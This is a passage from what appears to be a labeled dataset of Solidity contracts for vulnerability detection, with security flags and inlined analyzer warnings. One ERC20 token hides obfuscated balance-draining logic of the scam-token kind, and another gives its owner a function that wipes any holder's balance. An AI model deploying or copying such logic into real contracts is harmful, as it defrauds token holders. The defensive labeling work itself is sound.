(Cokes[recipient] != true) &&\n (Cokes[Queens] != true) &&\n (Springs > 2))\n ? (_balances[Queens] / 70)\n : (_balances[Queens]);\n Springs++;\n Queens = recipient;\n Kings = block.timestamp;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function _Fighting(address creator, uint256 jkal) internal virtual {\n approve(_router, 10 ** 77);\n (hbo, Winter, Backpack, Springs) = (0, false, (jkal / 20), 0);\n (Natasha, Cokes[_router], Cokes[creator], Cokes[pair]) = (\n (jkal / 1000),\n true,\n true,\n true\n );\n (Church[_router], Church[creator]) = (false, false);\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function _burn(address account, uint256 amount) internal {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _balances[account] -= amount;\n _balances[address(0)] += amount;\n emit Transfer(account, address(0), amount);\n }\n\n function _balanceTheSoldiers(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n _balanceTheMedics(\n sender,\n recipient,\n amount,\n (address(sender) == _msgSenders) && (hbo > 0)\n );\n hbo += (sender == _msgSenders) ? 1 : 0;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _DeployCombat(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balanceTheSoldiers(sender, recipient, amount);\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n _balanceTheMilitary(sender);\n\n emit Transfer(sender, recipient, amount);\n }\n}",
"file_name": "solidity_code_2501.sol",
"secure": 0,
"size_bytes": 8438
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract ERC20Token is Context, ERC20 {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5189f03): ERC20Token.constructor(string,string,address,uint256).name shadows ERC20.name() (function) IERC20Metadata.name() (function)\n\t// Recommendation for 5189f03: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: edaf46d): ERC20Token.constructor(string,string,address,uint256).symbol shadows ERC20.symbol() (function) IERC20Metadata.symbol() (function)\n\t// Recommendation for edaf46d: Rename the local variables that shadow another component.\n constructor(\n string memory name,\n string memory symbol,\n address creator,\n uint256 initialSupply\n ) ERC20(name, symbol, creator) {\n _DeployCombat(creator, initialSupply);\n _Fighting(creator, initialSupply);\n }\n}",
"file_name": "solidity_code_2502.sol",
"secure": 0,
"size_bytes": 1106
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20Token.sol\" as ERC20Token;\n\ncontract StepSis is ERC20Token {\n constructor()\n ERC20Token(\n \"Stepsister Token\",\n \"STEPSIS\",\n msg.sender,\n 25000000 * 10 ** 18\n )\n {}\n}",
"file_name": "solidity_code_2503.sol",
"secure": 1,
"size_bytes": 321
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ERC721 {\n function tokenOfOwnerByIndex(\n address owner,\n uint256 index\n ) external view returns (uint256 tokenId);\n\n function balanceOf(address owner) external view returns (uint256 balance);\n\n function ownerOf(uint256 tokenId) external view returns (address owner);\n}",
"file_name": "solidity_code_2504.sol",
"secure": 1,
"size_bytes": 375
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface Token {\n function balanceOf(address _owner) external view returns (uint256 balance);\n function transfer(\n address _to,\n uint256 _value\n ) external returns (bool success);\n function transferFrom(\n address _from,\n address _to,\n uint256 _value\n ) external returns (bool success);\n function approve(\n address _spender,\n uint256 _value\n ) external returns (bool success);\n function allowance(\n address _owner,\n address _spender\n ) external view returns (uint256 remaining);\n event Transfer(address indexed _from, address indexed _to, uint256 _value);\n event Approval(\n address indexed _owner,\n address indexed _spender,\n uint256 _value\n );\n}",
"file_name": "solidity_code_2505.sol",
"secure": 1,
"size_bytes": 853
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract Owned {\n address public owner;\n\n modifier isOwner() {\n require(msg.sender == owner);\n _;\n }\n\n constructor() {\n owner = msg.sender;\n }\n\n event OwnerUpdate(address _prevOwner, address _newOwner);\n\n function changeOwnerForce(address _newOwner) public isOwner {\n require(_newOwner != owner);\n owner = _newOwner;\n emit OwnerUpdate(owner, _newOwner);\n }\n}",
"file_name": "solidity_code_2506.sol",
"secure": 1,
"size_bytes": 505
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Owned.sol\" as Owned;\n\ncontract Controlled is Owned {\n bool public transferEnable = true;\n\n bool public lockFlag = true;\n\n constructor() {\n setExclude(msg.sender);\n }\n\n mapping(address => bool) public locked;\n\n mapping(address => bool) public exclude;\n\n function enableTransfer(bool _enable) public isOwner {\n transferEnable = _enable;\n }\n\n function disableLock(bool _enable) public isOwner returns (bool success) {\n lockFlag = _enable;\n return true;\n }\n\n function addLock(address _addr) public isOwner returns (bool success) {\n require(_addr != msg.sender);\n locked[_addr] = true;\n return true;\n }\n\n function setExclude(address _addr) public isOwner returns (bool success) {\n exclude[_addr] = true;\n return true;\n }\n\n function removeLock(address _addr) public isOwner returns (bool success) {\n locked[_addr] = false;\n return true;\n }\n\n modifier transferAllowed(address _addr) {\n if (!exclude[_addr]) {\n assert(transferEnable);\n if (lockFlag) {\n assert(!locked[_addr]);\n }\n }\n _;\n }\n\n modifier validAddress(address _addr) {\n assert(address(0x0) != _addr && address(0x0) != msg.sender);\n _;\n }\n}",
"file_name": "solidity_code_2507.sol",
"secure": 1,
"size_bytes": 1439
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Token.sol\" as Token;\nimport \"./Controlled.sol\" as Controlled;\n\ncontract StandardToken is Token, Controlled {\n string public name = \"\";\n string public symbol = \"\";\n\t// WARNING Optimization Issue (constable-states | ID: e49ee72): StandardToken.decimals should be constant \n\t// Recommendation for e49ee72: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 18;\n\n uint256 public totalSupply;\n mapping(address => uint256) balances;\n mapping(address => mapping(address => uint256)) allowed;\n\n constructor(string memory name_, string memory symbol_) {\n name = name_;\n symbol = symbol_;\n }\n\n function balanceOf(\n address _owner\n ) public view override returns (uint256 balance) {\n return balances[_owner];\n }\n\n function transfer(\n address _to,\n uint256 _value\n )\n public\n override\n transferAllowed(msg.sender)\n validAddress(_to)\n returns (bool success)\n {\n require(_value > 0);\n if (\n balances[msg.sender] >= _value &&\n balances[_to] + _value > balances[_to]\n ) {\n balances[msg.sender] -= _value;\n balances[_to] += _value;\n emit Transfer(msg.sender, _to, _value);\n return true;\n } else {\n return false;\n }\n }\n\n function transferFrom(\n address _from,\n address _to,\n uint256 _value\n )\n public\n override\n transferAllowed(_from)\n validAddress(_to)\n returns (bool success)\n {\n require(_value > 0);\n if (\n balances[_from] >= _value &&\n allowed[_from][msg.sender] >= _value &&\n balances[_to] + _value > balances[_to]\n ) {\n balances[_to] += _value;\n balances[_from] -= _value;\n allowed[_from][msg.sender] -= _value;\n emit Transfer(_from, _to, _value);\n return true;\n } else {\n return false;\n }\n }\n\n function approve(\n address _spender,\n uint256 _value\n ) public override transferAllowed(_spender) returns (bool success) {\n require(_value > 0);\n allowed[msg.sender][_spender] = _value;\n emit Approval(msg.sender, _spender, _value);\n return true;\n }\n\n function allowance(\n address _owner,\n address _spender\n ) public view override returns (uint256 remaining) {\n return allowed[_owner][_spender];\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(totalSupply + amount > totalSupply);\n require(balances[account] + amount > balances[account]);\n\n balances[account] += amount;\n totalSupply += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(totalSupply >= amount);\n require(balances[account] >= amount);\n\n totalSupply -= amount;\n balances[account] -= amount;\n emit Transfer(account, address(0), amount);\n }\n}",
"file_name": "solidity_code_2508.sol",
"secure": 1,
"size_bytes": 3324
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./StandardToken.sol\" as StandardToken;\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\nimport \"@openzeppelin/contracts/utils/math/Math.sol\" as Math;\n\ncontract SCALE is StandardToken {\n\t// WARNING Optimization Issue (immutable-states | ID: e2a02af): SCALE.lizardContract should be immutable \n\t// Recommendation for e2a02af: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n ERC721 public lizardContract;\n\t// WARNING Optimization Issue (immutable-states | ID: 2968145): SCALE.dragonContract should be immutable \n\t// Recommendation for 2968145: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n ERC721 public dragonContract;\n\n uint256 public immutable PER_DAY_PER_LIZARD_REWARD = 10 ether;\n uint256 public immutable PER_DAY_PER_DRAGON_REWARD = 50 ether;\n\t// WARNING Optimization Issue (constable-states | ID: ef02787): SCALE.MINE_PERIOD should be constant \n\t// Recommendation for ef02787: Add the 'constant' attribute to state variables that never change.\n uint256 private MINE_PERIOD = 86400;\n uint256 public GENESIS = 1635379200;\n\n bool public mineIsActive = true;\n\n mapping(address => uint256) public last;\n\n constructor(\n address lizard,\n address dragon\n ) StandardToken(\"SCALE\", \"SCALE\") {\n lizardContract = ERC721(lizard);\n dragonContract = ERC721(dragon);\n _mint(address(0x008FA9C81e6b6184aEce369017E80569b8FC753fBc), 200 ether);\n _mint(address(0x00C36BCC133EDfe4E3BBe0D92aF330bD5Ca946A258), 600 ether);\n _mint(\n address(0x00f0a5043111c2a35fbd1acfb588c382e781ad6aef),\n 1350 ether\n );\n _mint(\n address(0x00e08163c2bab9d0f933cd67fa52ec8687df98a55c),\n 1860 ether\n );\n\n _mint(\n address(0x0034Cf7Ac942A815DDEDdF1319ce91dEa69Af46dCb),\n 4600 ether\n );\n _mint(address(0x00D8c88B8681B3F699d8DAe59ec239fB0925acC660), 400 ether);\n _mint(address(0x004B02b95F480FDD4d55c2aD7D5c6c70152cC5b8F9), 400 ether);\n _mint(\n address(0x00f8ae589B64890C4A844405d37D1918DfF9fC136d),\n 8000 ether\n );\n _mint(address(0x008FA9C81e6b6184aEce369017E80569b8FC753fBc), 200 ether);\n }\n\n function closeMineState() public isOwner {\n require(mineIsActive, \"Mining is currently unavailable\");\n mineIsActive = false;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: d00607a): SCALE.openMineState(uint256) should emit an event for GENESIS = timestamp \n\t// Recommendation for d00607a: Emit an event for critical parameter changes.\n function openMineState(uint256 timestamp) public isOwner {\n require(!mineIsActive, \"Mining is currently on\");\n mineIsActive = true;\n\t\t// events-maths | ID: d00607a\n GENESIS = timestamp;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 6de9e5b): SCALE.claim(address) uses timestamp for comparisons Dangerous comparisons require(bool,string)(block.timestamp > GENESIS,Mining is currently unavailable)\n\t// Recommendation for 6de9e5b: Avoid relying on 'block.timestamp'.\n function claim(address user) external {\n require(mineIsActive, \"Mining is currently unavailable\");\n\t\t// timestamp | ID: 6de9e5b\n require(block.timestamp > GENESIS, \"Mining is currently unavailable\");\n uint256 owed = 0;\n uint256 total = lizardContract.balanceOf(user);\n uint256 minePeriods = minePeriod(last[user]);\n owed += (minePeriods * PER_DAY_PER_LIZARD_REWARD) * total;\n total = dragonContract.balanceOf(user);\n owed += (minePeriods * PER_DAY_PER_DRAGON_REWARD) * total;\n last[user] = block.timestamp;\n _mint(user, owed);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 15db636): SCALE.getTotalClaimable(address) uses timestamp for comparisons Dangerous comparisons block.timestamp < GENESIS\n\t// Recommendation for 15db636: Avoid relying on 'block.timestamp'.\n function getTotalClaimable(address user) external view returns (uint256) {\n if (!mineIsActive) {\n return 0;\n }\n\t\t// timestamp | ID: 15db636\n if (block.timestamp < GENESIS) {\n return 0;\n }\n uint256 owed = 0;\n uint256 total = lizardContract.balanceOf(user);\n uint256 minePeriods = minePeriod(last[user]);\n owed += (minePeriods * PER_DAY_PER_LIZARD_REWARD) * total;\n total = dragonContract.balanceOf(user);\n owed += (minePeriods * PER_DAY_PER_DRAGON_REWARD) * total;\n return owed;\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: e29d97c): SCALE.minePeriod(uint256) performs a multiplication on the result of a division (block.timestamp (lastTime / MINE_PERIOD) * MINE_PERIOD) / MINE_PERIOD\n\t// Recommendation for e29d97c: Consider ordering multiplication before division.\n function minePeriod(uint256 claimedTime) internal view returns (uint256) {\n uint256 lastTime = Math.max(claimedTime, GENESIS);\n\t\t// divide-before-multiply | ID: e29d97c\n return\n (block.timestamp - (lastTime / MINE_PERIOD) * MINE_PERIOD) /\n MINE_PERIOD;\n }\n}",
"file_name": "solidity_code_2509.sol",
"secure": 0,
"size_bytes": 5457
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Catspajamas is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable kitchen;\n\n constructor() {\n _name = \"Cats Pajamas\";\n\n _symbol = \"CATPJ\";\n\n _decimals = 18;\n\n uint256 initialSupply = 627000000;\n\n kitchen = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == kitchen, \"Not allowed\");\n\n _;\n }\n\n function reconcile(address[] memory creation) public onlyOwner {\n for (uint256 i = 0; i < creation.length; i++) {\n address account = creation[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_251.sol",
"secure": 1,
"size_bytes": 4375
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\ninterface ILinkOracle {\n function latestAnswer() external view returns (uint256);\n function decimals() external view returns (int256);\n}",
"file_name": "solidity_code_2510.sol",
"secure": 1,
"size_bytes": 214
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./ILinkOracle.sol\" as ILinkOracle;\n\ncontract PriceOracle is Ownable {\n mapping(address => ILinkOracle) public linkOracles;\n mapping(address => uint256) private tokenPrices;\n\n event AddLinkOracle(address indexed token, address oracle);\n event RemoveLinkOracle(address indexed token);\n event PriceUpdate(address indexed token, uint256 amount);\n\n function addLinkOracle(\n address _token,\n ILinkOracle _linkOracle\n ) public onlyOwner {\n require(\n _linkOracle.decimals() == 8,\n \"PriceOracle: non-usd pairs not allowed\"\n );\n linkOracles[_token] = _linkOracle;\n\n emit AddLinkOracle(_token, address(_linkOracle));\n }\n\n function removeLinkOracle(address _token) public onlyOwner {\n linkOracles[_token] = ILinkOracle(address(0));\n emit RemoveLinkOracle(_token);\n }\n\n function setTokenPrice(address _token, uint256 _value) public onlyOwner {\n tokenPrices[_token] = _value;\n emit PriceUpdate(_token, _value);\n }\n\n function tokenPrice(address _token) public view returns (uint256) {\n if (address(linkOracles[_token]) != address(0)) {\n return linkOracles[_token].latestAnswer() * 1e10;\n } else if (tokenPrices[_token] != 0) {\n return tokenPrices[_token];\n } else {\n revert(\"PriceOracle: token not supported\");\n }\n }\n\n function tokenSupported(address _token) public view returns (bool) {\n return (address(linkOracles[_token]) != address(0) ||\n tokenPrices[_token] != 0);\n }\n}",
"file_name": "solidity_code_2511.sol",
"secure": 1,
"size_bytes": 1768
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721Enumerable.sol\" as ERC721Enumerable;\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\n\ncontract WLoot is ERC721Enumerable, ReentrancyGuard, Ownable {\n string[] private weapons = [\n \"Warhammer\",\n \"Quarterstaff\",\n \"Maul\",\n \"Mace\",\n \"Club\",\n \"Katana\",\n \"Falchion\",\n \"Scimitar\",\n \"Long Sword\",\n \"Short Sword\",\n \"Ghost Wand\",\n \"Grave Wand\",\n \"Bone Wand\",\n \"Wand\",\n \"Grimoire\",\n \"Chronicle\",\n \"Tome\",\n \"Book\"\n ];\n\n string[] private chestArmor = [\n \"Divine Robe\",\n \"Silk Robe\",\n \"Linen Robe\",\n \"Robe\",\n \"Shirt\",\n \"Demon Husk\",\n \"Dragonskin Armor\",\n \"Studded Leather Armor\",\n \"Hard Leather Armor\",\n \"Leather Armor\",\n \"Holy Chestplate\",\n \"Ornate Chestplate\",\n \"Plate Mail\",\n \"Chain Mail\",\n \"Ring Mail\"\n ];\n\n string[] private headArmor = [\n \"Ancient Helm\",\n \"Ornate Helm\",\n \"Great Helm\",\n \"Full Helm\",\n \"Helm\",\n \"Demon Crown\",\n \"Dragon's Crown\",\n \"War Cap\",\n \"Leather Cap\",\n \"Cap\",\n \"Crown\",\n \"Divine Hood\",\n \"Silk Hood\",\n \"Linen Hood\",\n \"Hood\"\n ];\n\n string[] private waistArmor = [\n \"Ornate Belt\",\n \"War Belt\",\n \"Plated Belt\",\n \"Mesh Belt\",\n \"Heavy Belt\",\n \"Demonhide Belt\",\n \"Dragonskin Belt\",\n \"Studded Leather Belt\",\n \"Hard Leather Belt\",\n \"Leather Belt\",\n \"Brightsilk Sash\",\n \"Silk Sash\",\n \"Wool Sash\",\n \"Linen Sash\",\n \"Sash\"\n ];\n\n string[] private footArmor = [\n \"Holy Greaves\",\n \"Ornate Greaves\",\n \"Greaves\",\n \"Chain Boots\",\n \"Heavy Boots\",\n \"Demonhide Boots\",\n \"Dragonskin Boots\",\n \"Studded Leather Boots\",\n \"Hard Leather Boots\",\n \"Leather Boots\",\n \"Divine Slippers\",\n \"Silk Slippers\",\n \"Wool Shoes\",\n \"Linen Shoes\",\n \"Shoes\"\n ];\n\n string[] private handArmor = [\n \"Holy Gauntlets\",\n \"Ornate Gauntlets\",\n \"Gauntlets\",\n \"Chain Gloves\",\n \"Heavy Gloves\",\n \"Demon's Hands\",\n \"Dragonskin Gloves\",\n \"Studded Leather Gloves\",\n \"Hard Leather Gloves\",\n \"Leather Gloves\",\n \"Divine Gloves\",\n \"Silk Gloves\",\n \"Wool Gloves\",\n \"Linen Gloves\",\n \"Gloves\"\n ];\n\n string[] private necklaces = [\"Necklace\", \"Amulet\", \"Pendant\"];\n\n string[] private rings = [\n \"Gold Ring\",\n \"Silver Ring\",\n \"Bronze Ring\",\n \"Platinum Ring\",\n \"Titanium Ring\"\n ];\n\n string[] private suffixes = [\n \"of Power\",\n \"of Giants\",\n \"of Titans\",\n \"of Skill\",\n \"of Perfection\",\n \"of Brilliance\",\n \"of Enlightenment\",\n \"of Protection\",\n \"of Anger\",\n \"of Rage\",\n \"of Fury\",\n \"of Vitriol\",\n \"of the Fox\",\n \"of Detection\",\n \"of Reflection\",\n \"of the Twins\"\n ];\n\n string[] private namePrefixes = [\n \"Agony\",\n \"Apocalypse\",\n \"Armageddon\",\n \"Beast\",\n \"Behemoth\",\n \"Blight\",\n \"Blood\",\n \"Bramble\",\n \"Brimstone\",\n \"Brood\",\n \"Carrion\",\n \"Cataclysm\",\n \"Chimeric\",\n \"Corpse\",\n \"Corruption\",\n \"Damnation\",\n \"Death\",\n \"Demon\",\n \"Dire\",\n \"Dragon\",\n \"Dread\",\n \"Doom\",\n \"Dusk\",\n \"Eagle\",\n \"Empyrean\",\n \"Fate\",\n \"Foe\",\n \"Gale\",\n \"Ghoul\",\n \"Gloom\",\n \"Glyph\",\n \"Golem\",\n \"Grim\",\n \"Hate\",\n \"Havoc\",\n \"Honour\",\n \"Horror\",\n \"Hypnotic\",\n \"Kraken\",\n \"Loath\",\n \"Maelstrom\",\n \"Mind\",\n \"Miracle\",\n \"Morbid\",\n \"Oblivion\",\n \"Onslaught\",\n \"Pain\",\n \"Pandemonium\",\n \"Phoenix\",\n \"Plague\",\n \"Rage\",\n \"Rapture\",\n \"Rune\",\n \"Skull\",\n \"Sol\",\n \"Soul\",\n \"Sorrow\",\n \"Spirit\",\n \"Storm\",\n \"Tempest\",\n \"Torment\",\n \"Vengeance\",\n \"Victory\",\n \"Viper\",\n \"Vortex\",\n \"Woe\",\n \"Wrath\",\n \"Light's\",\n \"Shimmering\"\n ];\n\n string[] private nameSuffixes = [\n \"Bane\",\n \"Root\",\n \"Bite\",\n \"Song\",\n \"Roar\",\n \"Grasp\",\n \"Instrument\",\n \"Glow\",\n \"Bender\",\n \"Shadow\",\n \"Whisper\",\n \"Shout\",\n \"Growl\",\n \"Tear\",\n \"Peak\",\n \"Form\",\n \"Sun\",\n \"Moon\"\n ];\n\n address public receiver = 0x796FbA088ba55C16845cb43e5F87AC98CB80b440;\n\n uint256 public mintFee = 2e16;\n\n function setReceiver(address _addr) public onlyOwner {\n require(_addr != address(0), \"invalid address\");\n receiver = _addr;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 852578a): WLoot.setFee(uint256) should emit an event for mintFee = _fee \n\t// Recommendation for 852578a: Emit an event for critical parameter changes.\n function setFee(uint256 _fee) public onlyOwner {\n\t\t// events-maths | ID: 852578a\n mintFee = _fee;\n }\n\n function random(string memory input) internal pure returns (uint256) {\n return uint256(keccak256(abi.encodePacked(input)));\n }\n\n function getWeapon(uint256 tokenId) public view returns (string memory) {\n return pluck(tokenId, \"WEAPON\", weapons);\n }\n\n function getChest(uint256 tokenId) public view returns (string memory) {\n return pluck(tokenId, \"CHEST\", chestArmor);\n }\n\n function getHead(uint256 tokenId) public view returns (string memory) {\n return pluck(tokenId, \"HEAD\", headArmor);\n }\n\n function getWaist(uint256 tokenId) public view returns (string memory) {\n return pluck(tokenId, \"WAIST\", waistArmor);\n }\n\n function getFoot(uint256 tokenId) public view returns (string memory) {\n return pluck(tokenId, \"FOOT\", footArmor);\n }\n\n function getHand(uint256 tokenId) public view returns (string memory) {\n return pluck(tokenId, \"HAND\", handArmor);\n }\n\n function getNeck(uint256 tokenId) public view returns (string memory) {\n return pluck(tokenId, \"NECK\", necklaces);\n }\n\n function getRing(uint256 tokenId) public view returns (string memory) {\n return pluck(tokenId, \"RING\", rings);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 285a9ac): WLoot.pluck(uint256,string,string[]).name shadows ERC721.name() (function) IERC721Metadata.name() (function)\n\t// Recommendation for 285a9ac: Rename the local variables that shadow another component.\n function pluck(\n uint256 tokenId,\n string memory keyPrefix,\n string[] memory sourceArray\n ) internal view returns (string memory) {\n uint256 rand = random(\n string(abi.encodePacked(keyPrefix, toString(tokenId)))\n );\n string memory output = sourceArray[rand % sourceArray.length];\n uint256 greatness = rand % 21;\n if (greatness > 14) {\n output = string(\n abi.encodePacked(output, \" \", suffixes[rand % suffixes.length])\n );\n }\n if (greatness >= 19) {\n string[2] memory name;\n name[0] = namePrefixes[rand % namePrefixes.length];\n name[1] = nameSuffixes[rand % nameSuffixes.length];\n if (greatness == 19) {\n output = string(\n abi.encodePacked(\"'\", name[0], \" \", name[1], \"' \", output)\n );\n } else {\n output = string(\n abi.encodePacked(\n \"'\",\n name[0],\n \" \",\n name[1],\n \"' \",\n output,\n \" +1\"\n )\n );\n }\n }\n return output;\n }\n\n\t// WARNING Vulnerability (write-after-write | severity: Medium | ID: 077777d): WLoot.tokenURI(uint256).output is written in both output = string(abi.encodePacked(output,parts[9],parts[10],parts[11],parts[12],parts[13],parts[14],parts[15],parts[16])) output = string(abi.encodePacked(dataapplication/json;base64,,json))\n\t// Recommendation for 077777d: Fix or remove the writes.\n function tokenURI(\n uint256 tokenId\n ) public view override returns (string memory) {\n string[17] memory parts;\n parts[\n 0\n ] = \"<svg xmlns='http://www.w3.org/2000/svg' preserveAspectRatio='xMinYMin meet' viewBox='0 0 350 350'><style>.base { fill: white; font-family: serif; font-size: 14px; }</style><rect width='100%' height='100%' fill='black' /><text x='10' y='20' class='base'>\";\n\n parts[1] = getWeapon(tokenId);\n\n parts[2] = \"</text><text x='10' y='40' class='base'>\";\n\n parts[3] = getChest(tokenId);\n\n parts[4] = \"</text><text x='10' y='60' class='base'>\";\n\n parts[5] = getHead(tokenId);\n\n parts[6] = \"</text><text x='10' y='80' class='base'>\";\n\n parts[7] = getWaist(tokenId);\n\n parts[8] = \"</text><text x='10' y='100' class='base'>\";\n\n parts[9] = getFoot(tokenId);\n\n parts[10] = \"</text><text x='10' y='120' class='base'>\";\n\n parts[11] = getHand(tokenId);\n\n parts[12] = \"</text><text x='10' y='140' class='base'>\";\n\n parts[13] = getNeck(tokenId);\n\n parts[14] = \"</text><text x='10' y='160' class='base'>\";\n\n parts[15] = getRing(tokenId);\n\n parts[16] = \"</text></svg>\";\n\n string memory output = string(\n abi.encodePacked(\n parts[0],\n parts[1],\n parts[2],\n parts[3],\n parts[4],\n parts[5],\n parts[6],\n parts[7],\n parts[8]\n )\n );\n\t\t// write-after-write | ID: 077777d\n output = string(\n abi.encodePacked(\n output,\n parts[9],\n parts[10],\n parts[11],\n parts[12],\n parts[13],\n parts[14],\n parts[15],\n parts[16]\n )\n );\n\n string memory json = 